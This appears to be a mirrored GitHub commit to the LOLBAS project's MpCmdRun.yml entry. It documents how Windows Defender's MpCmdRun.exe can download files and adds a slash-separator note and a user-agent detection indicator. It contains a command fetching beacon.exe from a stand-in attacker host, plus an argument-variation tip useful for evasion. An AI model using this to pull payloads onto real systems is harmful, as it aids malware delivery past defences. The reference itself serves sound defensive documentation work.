mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-25 14:29:24 +01:00
Update MpCmdRun.yml
Added note that slashes (/) can also be used as command separators, and that the UA is MpCommunication Thanks!
This commit is contained in:
parent
63c9bc97c3
commit
3078cc3755
@ -5,6 +5,7 @@ Author: 'Oddvar Moe'
|
||||
Created: '09/03/2020'
|
||||
Commands:
|
||||
- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
|
||||
Note: Slashes work as command line argument seperators /Downloadfile, /url, /path, as well as mixing dash and slash
|
||||
Description: Download file to specified path
|
||||
Usecase: Download file
|
||||
Category: Download
|
||||
@ -31,6 +32,7 @@ Detection:
|
||||
- IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected.
|
||||
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
|
||||
- IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
|
||||
- IOC: User Agent is "MpCommunication"
|
||||
Resources:
|
||||
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
|
||||
- Link: https://twitter.com/mohammadaskar2/status/1301263551638761477
|
||||
|
Loading…
Reference in New Issue
Block a user